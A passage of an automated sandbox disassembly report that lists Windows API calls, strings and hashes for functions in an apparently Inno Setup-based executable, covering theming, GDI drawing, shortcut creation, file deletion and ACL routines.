                                                                                          • Instruction Fuzzy Hash: 4A5102357082048FD710DB6ADA80A9BF3E5EF98314B2082BBD814C77A1D7B8AD91C75D
                                                                                          APIs
                                                                                          • NtdllDefWindowProc_A.USER32(?,?,?,?), ref: 00478C0E
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: NtdllProc_Window
                                                                                          • String ID:
                                                                                          • API String ID: 4255912815-0
                                                                                          • Opcode ID: 35b14883da97521222dd4ba63ab43259808bc2fdd283b26f07d3c05bbd11cdae
                                                                                          • Instruction ID: 8fc52e73ba06cc46e730b07d7f7f94568764801a7b8f51cd1014d1f63996c257
                                                                                          • Opcode Fuzzy Hash: 35b14883da97521222dd4ba63ab43259808bc2fdd283b26f07d3c05bbd11cdae
                                                                                          • Instruction Fuzzy Hash: EC4148B5A44104DFCB10CF99C6888AAB7F5FB49310B64C99AF848DB701D738EE45DB58
                                                                                          APIs
                                                                                          • ArcFourCrypt._ISCRYPT(?,?,?,0046DEA4,?,?,0046DEA4,00000000), ref: 0045D247
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: CryptFour
                                                                                          • String ID:
                                                                                          • API String ID: 2153018856-0
                                                                                          • Opcode ID: 60613f318f2e56de1b1058283c26d55875caf569050bffc963c4b4a7e30f6a75
                                                                                          • Instruction ID: 5effe0378c810cd07e0217cdc1e7a72ed78fe315a0c34b067f2c35eeb24cdbba
                                                                                          • Opcode Fuzzy Hash: 60613f318f2e56de1b1058283c26d55875caf569050bffc963c4b4a7e30f6a75
                                                                                          • Instruction Fuzzy Hash: D0C09BF200420CBF650057D5ECC9C77B75CE6586547408126F7048210195726C104574
                                                                                          APIs
                                                                                          • ArcFourCrypt._ISCRYPT(?,00000000,00000000,000003E8,0046DB14,?,0046DCF5), ref: 0045D25A
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: CryptFour
                                                                                          • String ID:
                                                                                          • API String ID: 2153018856-0
                                                                                          • Opcode ID: d774fb8793e7b9215c4f3788321c424c537fe54849dfeb2a35b58218e4d2cefe
                                                                                          • Instruction ID: 17600df93846144bfd8e61cd07b91608ca2a028cf3222f5d1774599e6ed580aa
                                                                                          • Opcode Fuzzy Hash: d774fb8793e7b9215c4f3788321c424c537fe54849dfeb2a35b58218e4d2cefe
                                                                                          • Instruction Fuzzy Hash: B7A002F0B80300BAFD2057F15E5EF26252C97D0F01F2084657306E90D085A56400853C
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3385224181.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3385202571.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3385245160.0000000010002000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_10000000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: 550b9f88123d0c3b213a5d4b99e682963a3eaac5120c60ac7846f9a0f3bba5ba
                                                                                          • Instruction ID: 1c94840b05858ddf3503627acbaac9226f9c4a6e1659969bf0a936c2f155f8a0
                                                                                          • Opcode Fuzzy Hash: 550b9f88123d0c3b213a5d4b99e682963a3eaac5120c60ac7846f9a0f3bba5ba
                                                                                          • Instruction Fuzzy Hash: FF11303254D3D28FC305CF2894506D6FFE4AF6A640F194AAEE1D45B203C2659549C7A2
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3385224181.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3385202571.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3385245160.0000000010002000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_10000000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID:
                                                                                          • String ID:
                                                                                          • API String ID:
                                                                                          • Opcode ID: aff350dcda9d135b5489d453054620cf61adfe11cc5af5bb48cdce25d513e1a9
                                                                                          • Instruction ID: 837d35c9df4effc004866add7a9100bdfed479f04b3922bb4bd4c5469ecd81ba
                                                                                          • Opcode Fuzzy Hash: aff350dcda9d135b5489d453054620cf61adfe11cc5af5bb48cdce25d513e1a9
                                                                                          • Instruction Fuzzy Hash:
                                                                                          APIs
                                                                                            • Part of subcall function 0044B604: GetVersionExA.KERNEL32(00000094), ref: 0044B621
                                                                                          • LoadLibraryA.KERNEL32(uxtheme.dll,?,0044F775,00498BF2), ref: 0044B67F
                                                                                          • GetProcAddress.KERNEL32(00000000,OpenThemeData), ref: 0044B697
                                                                                          • GetProcAddress.KERNEL32(00000000,CloseThemeData), ref: 0044B6A9
                                                                                          • GetProcAddress.KERNEL32(00000000,DrawThemeBackground), ref: 0044B6BB
                                                                                          • GetProcAddress.KERNEL32(00000000,DrawThemeText), ref: 0044B6CD
                                                                                          • GetProcAddress.KERNEL32(00000000,GetThemeBackgroundContentRect), ref: 0044B6DF
                                                                                          • GetProcAddress.KERNEL32(00000000,GetThemeBackgroundContentRect), ref: 0044B6F1
                                                                                          • GetProcAddress.KERNEL32(00000000,GetThemePartSize), ref: 0044B703
                                                                                          • GetProcAddress.KERNEL32(00000000,GetThemeTextExtent), ref: 0044B715
                                                                                          • GetProcAddress.KERNEL32(00000000,GetThemeTextMetrics), ref: 0044B727
                                                                                          • GetProcAddress.KERNEL32(00000000,GetThemeBackgroundRegion), ref: 0044B739
                                                                                          • GetProcAddress.KERNEL32(00000000,HitTestThemeBackground), ref: 0044B74B
                                                                                          • GetProcAddress.KERNEL32(00000000,DrawThemeEdge), ref: 0044B75D
                                                                                          • GetProcAddress.KERNEL32(00000000,DrawThemeIcon), ref: 0044B76F
                                                                                          • GetProcAddress.KERNEL32(00000000,IsThemePartDefined), ref: 0044B781
                                                                                          • GetProcAddress.KERNEL32(00000000,IsThemeBackgroundPartiallyTransparent), ref: 0044B793
                                                                                          • GetProcAddress.KERNEL32(00000000,GetThemeColor), ref: 0044B7A5
                                                                                          • GetProcAddress.KERNEL32(00000000,GetThemeMetric), ref: 0044B7B7
                                                                                          • GetProcAddress.KERNEL32(00000000,GetThemeString), ref: 0044B7C9
                                                                                          • GetProcAddress.KERNEL32(00000000,GetThemeBool), ref: 0044B7DB
                                                                                          • GetProcAddress.KERNEL32(00000000,GetThemeInt), ref: 0044B7ED
                                                                                          • GetProcAddress.KERNEL32(00000000,GetThemeEnumValue), ref: 0044B7FF
                                                                                          • GetProcAddress.KERNEL32(00000000,GetThemePosition), ref: 0044B811
                                                                                          • GetProcAddress.KERNEL32(00000000,GetThemeFont), ref: 0044B823
                                                                                          • GetProcAddress.KERNEL32(00000000,GetThemeRect), ref: 0044B835
                                                                                          • GetProcAddress.KERNEL32(00000000,GetThemeMargins), ref: 0044B847
                                                                                          • GetProcAddress.KERNEL32(00000000,GetThemeIntList), ref: 0044B859
                                                                                          • GetProcAddress.KERNEL32(00000000,GetThemePropertyOrigin), ref: 0044B86B
                                                                                          • GetProcAddress.KERNEL32(00000000,SetWindowTheme), ref: 0044B87D
                                                                                          • GetProcAddress.KERNEL32(00000000,GetThemeFilename), ref: 0044B88F
                                                                                          • GetProcAddress.KERNEL32(00000000,GetThemeSysColor), ref: 0044B8A1
                                                                                          • GetProcAddress.KERNEL32(00000000,GetThemeSysColorBrush), ref: 0044B8B3
                                                                                          • GetProcAddress.KERNEL32(00000000,GetThemeSysBool), ref: 0044B8C5
                                                                                          • GetProcAddress.KERNEL32(00000000,GetThemeSysSize), ref: 0044B8D7
                                                                                          • GetProcAddress.KERNEL32(00000000,GetThemeSysFont), ref: 0044B8E9
                                                                                          • GetProcAddress.KERNEL32(00000000,GetThemeSysString), ref: 0044B8FB
                                                                                          • GetProcAddress.KERNEL32(00000000,GetThemeSysInt), ref: 0044B90D
                                                                                          • GetProcAddress.KERNEL32(00000000,IsThemeActive), ref: 0044B91F
                                                                                          • GetProcAddress.KERNEL32(00000000,IsAppThemed), ref: 0044B931
                                                                                          • GetProcAddress.KERNEL32(00000000,GetWindowTheme), ref: 0044B943
                                                                                          • GetProcAddress.KERNEL32(00000000,EnableThemeDialogTexture), ref: 0044B955
                                                                                          • GetProcAddress.KERNEL32(00000000,IsThemeDialogTextureEnabled), ref: 0044B967
                                                                                          • GetProcAddress.KERNEL32(00000000,GetThemeAppProperties), ref: 0044B979
                                                                                          • GetProcAddress.KERNEL32(00000000,SetThemeAppProperties), ref: 0044B98B
                                                                                          • GetProcAddress.KERNEL32(00000000,GetCurrentThemeName), ref: 0044B99D
                                                                                          • GetProcAddress.KERNEL32(00000000,GetThemeDocumentationProperty), ref: 0044B9AF
                                                                                          • GetProcAddress.KERNEL32(00000000,DrawThemeParentBackground), ref: 0044B9C1
                                                                                          • GetProcAddress.KERNEL32(00000000,EnableTheming), ref: 0044B9D3
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: AddressProc$LibraryLoadVersion
                                                                                          • String ID: CloseThemeData$DrawThemeBackground$DrawThemeEdge$DrawThemeIcon$DrawThemeParentBackground$DrawThemeText$EnableThemeDialogTexture$EnableTheming$GetCurrentThemeName$GetThemeAppProperties$GetThemeBackgroundContentRect$GetThemeBackgroundRegion$GetThemeBool$GetThemeColor$GetThemeDocumentationProperty$GetThemeEnumValue$GetThemeFilename$GetThemeFont$GetThemeInt$GetThemeIntList$GetThemeMargins$GetThemeMetric$GetThemePartSize$GetThemePosition$GetThemePropertyOrigin$GetThemeRect$GetThemeString$GetThemeSysBool$GetThemeSysColor$GetThemeSysColorBrush$GetThemeSysFont$GetThemeSysInt$GetThemeSysSize$GetThemeSysString$GetThemeTextExtent$GetThemeTextMetrics$GetWindowTheme$HitTestThemeBackground$IsAppThemed$IsThemeActive$IsThemeBackgroundPartiallyTransparent$IsThemeDialogTextureEnabled$IsThemePartDefined$OpenThemeData$SetThemeAppProperties$SetWindowTheme$uxtheme.dll
                                                                                          • API String ID: 1968650500-2910565190
                                                                                          • Opcode ID: 4248c38413e99d9464b79edb7fe9b1fdc4fa56b35b8262d24df0eec612bb70b6
                                                                                          • Instruction ID: e93aa9000a3b975727f71862fff1c9a8a52c50bca2d3d110ef64c9f3a3b13d35
                                                                                          • Opcode Fuzzy Hash: 4248c38413e99d9464b79edb7fe9b1fdc4fa56b35b8262d24df0eec612bb70b6
                                                                                          • Instruction Fuzzy Hash: D391A8F0A40B11ABEB00EFB5AD96A2A3BA8EB15714310067BB454DF295D778DC108FDD
                                                                                          APIs
                                                                                          • GetDC.USER32(00000000), ref: 0041CA40
                                                                                          • CreateCompatibleDC.GDI32(?), ref: 0041CA4C
                                                                                          • CreateBitmap.GDI32(0041A944,?,00000001,00000001,00000000), ref: 0041CA70
                                                                                          • CreateCompatibleBitmap.GDI32(?,0041A944,?), ref: 0041CA80
                                                                                          • SelectObject.GDI32(0041CE3C,00000000), ref: 0041CA9B
                                                                                          • FillRect.USER32(0041CE3C,?,?), ref: 0041CAD6
                                                                                          • SetTextColor.GDI32(0041CE3C,00000000), ref: 0041CAEB
                                                                                          • SetBkColor.GDI32(0041CE3C,00000000), ref: 0041CB02
                                                                                          • PatBlt.GDI32(0041CE3C,00000000,00000000,0041A944,?,00FF0062), ref: 0041CB18
                                                                                          • CreateCompatibleDC.GDI32(?), ref: 0041CB2B
                                                                                          • SelectObject.GDI32(00000000,00000000), ref: 0041CB5C
                                                                                          • SelectPalette.GDI32(00000000,00000000,00000001), ref: 0041CB74
                                                                                          • RealizePalette.GDI32(00000000), ref: 0041CB7D
                                                                                          • SelectPalette.GDI32(0041CE3C,00000000,00000001), ref: 0041CB8C
                                                                                          • RealizePalette.GDI32(0041CE3C), ref: 0041CB95
                                                                                          • SetTextColor.GDI32(00000000,00000000), ref: 0041CBAE
                                                                                          • SetBkColor.GDI32(00000000,00000000), ref: 0041CBC5
                                                                                          • BitBlt.GDI32(0041CE3C,00000000,00000000,0041A944,?,00000000,00000000,00000000,00CC0020), ref: 0041CBE1
                                                                                          • SelectObject.GDI32(00000000,?), ref: 0041CBEE
                                                                                          • DeleteDC.GDI32(00000000), ref: 0041CC04
                                                                                            • Part of subcall function 0041A058: GetSysColor.USER32(?), ref: 0041A062
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: ColorSelect$CreatePalette$CompatibleObject$BitmapRealizeText$DeleteFillRect
                                                                                          • String ID:
                                                                                          • API String ID: 269503290-0
                                                                                          • Opcode ID: 8288b1a004c19d08e53adfd80f36b756ff19622159534b91a17c952f52f31838
                                                                                          • Instruction ID: 91afdf38925dfcc0a19aef53af63d8b93a06df8cfedaf367688fa0d34ebdb442
                                                                                          • Opcode Fuzzy Hash: 8288b1a004c19d08e53adfd80f36b756ff19622159534b91a17c952f52f31838
                                                                                          • Instruction Fuzzy Hash: 01610071A44648AFDF10EBE9DC86FDFB7B8EB48704F10446AB504E7281D67CA940CB68
                                                                                          APIs
                                                                                          • CoCreateInstance.OLE32(00499A74,00000000,00000001,00499774,?,00000000,004569E3), ref: 0045667E
                                                                                          • CoCreateInstance.OLE32(00499764,00000000,00000001,00499774,?,00000000,004569E3), ref: 004566A4
                                                                                          • SysFreeString.OLEAUT32(00000000), ref: 0045685B
                                                                                          Strings
                                                                                          • IShellLink::QueryInterface(IID_IPropertyStore), xrefs: 004567BD
                                                                                          • CoCreateInstance, xrefs: 004566AF
                                                                                          • IPersistFile::Save, xrefs: 00456962
                                                                                          • IPropertyStore::SetValue(PKEY_AppUserModel_PreventPinning), xrefs: 004567F1
                                                                                          • IPropertyStore::SetValue(PKEY_AppUserModel_ID), xrefs: 00456840
                                                                                          • IShellLink::QueryInterface(IID_IPersistFile), xrefs: 00456904
                                                                                          • IPropertyStore::SetValue(PKEY_AppUserModel_ExcludeFromShowInNewInstall), xrefs: 00456892
                                                                                          • IPropertyStore::Commit, xrefs: 004568E3
                                                                                          • %ProgramFiles(x86)%\, xrefs: 0045672E
                                                                                          • IPropertyStore::SetValue(PKEY_AppUserModel_StartPinOption), xrefs: 004568CA
                                                                                          • {pf32}\, xrefs: 0045671E
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: CreateInstance$FreeString
                                                                                          • String ID: %ProgramFiles(x86)%\$CoCreateInstance$IPersistFile::Save$IPropertyStore::Commit$IPropertyStore::SetValue(PKEY_AppUserModel_ExcludeFromShowInNewInstall)$IPropertyStore::SetValue(PKEY_AppUserModel_ID)$IPropertyStore::SetValue(PKEY_AppUserModel_PreventPinning)$IPropertyStore::SetValue(PKEY_AppUserModel_StartPinOption)$IShellLink::QueryInterface(IID_IPersistFile)$IShellLink::QueryInterface(IID_IPropertyStore)${pf32}\
                                                                                          • API String ID: 308859552-2363233914
                                                                                          • Opcode ID: 26ac11ebc8d2bbba6934e2b7da4071208c956f88b3f37f3572524cf0602978ca
                                                                                          • Instruction ID: 2d3acbfbfe5134b3b68b6dcde43dfe431d970b0eaffbfac770a5f5266a6492d0
                                                                                          • Opcode Fuzzy Hash: 26ac11ebc8d2bbba6934e2b7da4071208c956f88b3f37f3572524cf0602978ca
                                                                                          • Instruction Fuzzy Hash: 39B13170A00104AFDB50DFA9C845B9E7BF8AF09706F5540AAF804E7362DB78DD48CB69
                                                                                          APIs
                                                                                          • ShowWindow.USER32(?,00000005,00000000,00498768,?,?,00000000,?,00000000,00000000,?,00498B1F,00000000,00498B29,?,00000000), ref: 00498453
                                                                                          • CreateMutexA.KERNEL32(00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000,00498768,?,?,00000000,?,00000000,00000000,?,00498B1F,00000000), ref: 00498466
                                                                                          • ShowWindow.USER32(?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000,00498768,?,?,00000000,?,00000000,00000000), ref: 00498476
                                                                                          • MsgWaitForMultipleObjects.USER32(00000001,00000000,00000000,000000FF,000000FF), ref: 00498497
                                                                                          • ShowWindow.USER32(?,00000005,?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000,00498768,?,?,00000000,?,00000000), ref: 004984A7
                                                                                            • Part of subcall function 0042D44C: GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,0042D4DA,?,?,?,00000001,?,0045607E,00000000,004560E6), ref: 0042D481
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: ShowWindow$CreateFileModuleMultipleMutexNameObjectsWait
                                                                                          • String ID: .lst$.msg$/REG$/REGU$Inno-Setup-RegSvr-Mutex$Setup
                                                                                          • API String ID: 2000705611-3672972446
                                                                                          • Opcode ID: d895cb7c5264c7428a24ad32bd1f4b93e6c699b182eb53adebeee5f7002e5ba1
                                                                                          • Instruction ID: 1a66146e65e487955493167600903b91e60bc3637ed1504a34615a6495e02ea1
                                                                                          • Opcode Fuzzy Hash: d895cb7c5264c7428a24ad32bd1f4b93e6c699b182eb53adebeee5f7002e5ba1
                                                                                          • Instruction Fuzzy Hash: 5191A434A042049FDF11EBA9DC52BAE7BE5EF4A304F5144BBF500AB692DE7C9C05CA19
                                                                                          APIs
                                                                                          • GetLastError.KERNEL32(00000000,0045A994,?,?,?,?,?,00000006,?,00000000,0049785D,?,00000000,00497900), ref: 0045A846
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: ErrorLast
                                                                                          • String ID: .chm$.chw$.fts$.gid$.hlp$.lnk$Deleting file: %s$Failed to delete the file; it may be in use (%d).$Failed to strip read-only attribute.$Stripped read-only attribute.$The file appears to be in use (%d). Will delete on restart.
                                                                                          • API String ID: 1452528299-3112430753
                                                                                          • Opcode ID: 41204ac3778d0b79d3de2409b6c45a5b2ad533d11cb42b90e75a22724f80c331
                                                                                          • Instruction ID: 43962401d403c06de7b31dde6fd87328655f81364e16ca473e433d379c6e1912
                                                                                          • Opcode Fuzzy Hash: 41204ac3778d0b79d3de2409b6c45a5b2ad533d11cb42b90e75a22724f80c331
                                                                                          • Instruction Fuzzy Hash: EC719070B002545BCB00EB6998417AE77A49F4931AF91896BFC01AB383DB7C9E1DC75E
                                                                                          APIs
                                                                                          • GetVersion.KERNEL32 ref: 0045CBDA
                                                                                          • GetModuleHandleA.KERNEL32(advapi32.dll), ref: 0045CBFA
                                                                                          • GetProcAddress.KERNEL32(00000000,GetNamedSecurityInfoW), ref: 0045CC07
                                                                                          • GetProcAddress.KERNEL32(00000000,SetNamedSecurityInfoW), ref: 0045CC14
                                                                                          • GetProcAddress.KERNEL32(00000000,SetEntriesInAclW), ref: 0045CC22
                                                                                            • Part of subcall function 0045CAC8: MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00000000,0045CB67,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0045CB41
                                                                                          • AllocateAndInitializeSid.ADVAPI32(?,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,0045CE15,?,?,00000000), ref: 0045CCDB
                                                                                          • GetLastError.KERNEL32(?,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,0045CE15,?,?,00000000), ref: 0045CCE4
                                                                                          Strings
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: AddressProc$AllocateByteCharErrorHandleInitializeLastModuleMultiVersionWide
                                                                                          • String ID: GetNamedSecurityInfoW$SetEntriesInAclW$SetNamedSecurityInfoW$W$advapi32.dll
                                                                                          • API String ID: 59345061-4263478283
                                                                                          • Opcode ID: a232fc9af4861a9c5d561c4cdd8364b97c4fb44f2e207c549b4316288fabcd11
                                                                                          • Instruction ID: 99773ef8a3d0261052733c4904a47669a242c0659fe16ead1f438c4abb71ff4e
                                                                                          • Opcode Fuzzy Hash: a232fc9af4861a9c5d561c4cdd8364b97c4fb44f2e207c549b4316288fabcd11
                                                                                          • Instruction Fuzzy Hash: BD518471900308EFDB10DF99C881BEEBBB8EB48711F14806AF904E7241C678A945CFA9
                                                                                          APIs
                                                                                          • CreateCompatibleDC.GDI32(00000000), ref: 0041B3C3
                                                                                          • CreateCompatibleDC.GDI32(00000000), ref: 0041B3CD
                                                                                          • GetObjectA.GDI32(?,00000018,00000004), ref: 0041B3DF
                                                                                          • CreateBitmap.GDI32(0000000B,?,00000001,00000001,00000000), ref: 0041B3F6
                                                                                          • GetDC.USER32(00000000), ref: 0041B402
                                                                                          • CreateCompatibleBitmap.GDI32(00000000,0000000B,?), ref: 0041B42F
                                                                                          • ReleaseDC.USER32(00000000,00000000), ref: 0041B455
                                                                                          • SelectObject.GDI32(00000000,?), ref: 0041B470
                                                                                          • SelectObject.GDI32(?,00000000), ref: 0041B47F
                                                                                          • StretchBlt.GDI32(?,00000000,00000000,0000000B,?,00000000,00000000,00000000,?,?,00CC0020), ref: 0041B4AB
                                                                                          • SelectObject.GDI32(00000000,00000000), ref: 0041B4B9
                                                                                          • SelectObject.GDI32(?,00000000), ref: 0041B4C7
                                                                                          • DeleteDC.GDI32(00000000), ref: 0041B4D0
                                                                                          • DeleteDC.GDI32(?), ref: 0041B4D9
                                                                                          Memory Dump Source
                                                                                          • Source File: 00000001.00000002.3383526470.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                          • Associated: 00000001.00000002.3383499074.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383601042.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383630945.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383658295.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                          • Associated: 00000001.00000002.3383691811.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                          Joe Sandbox IDA Plugin
                                                                                          • Snapshot File: hcaresult_1_2_400000_basx.jbxd
                                                                                          Similarity
                                                                                          • API ID: Object$CreateSelect$Compatible$BitmapDelete$ReleaseStretch
                                                                                          • String ID:
                                                                                          • API String ID: 644427674-0
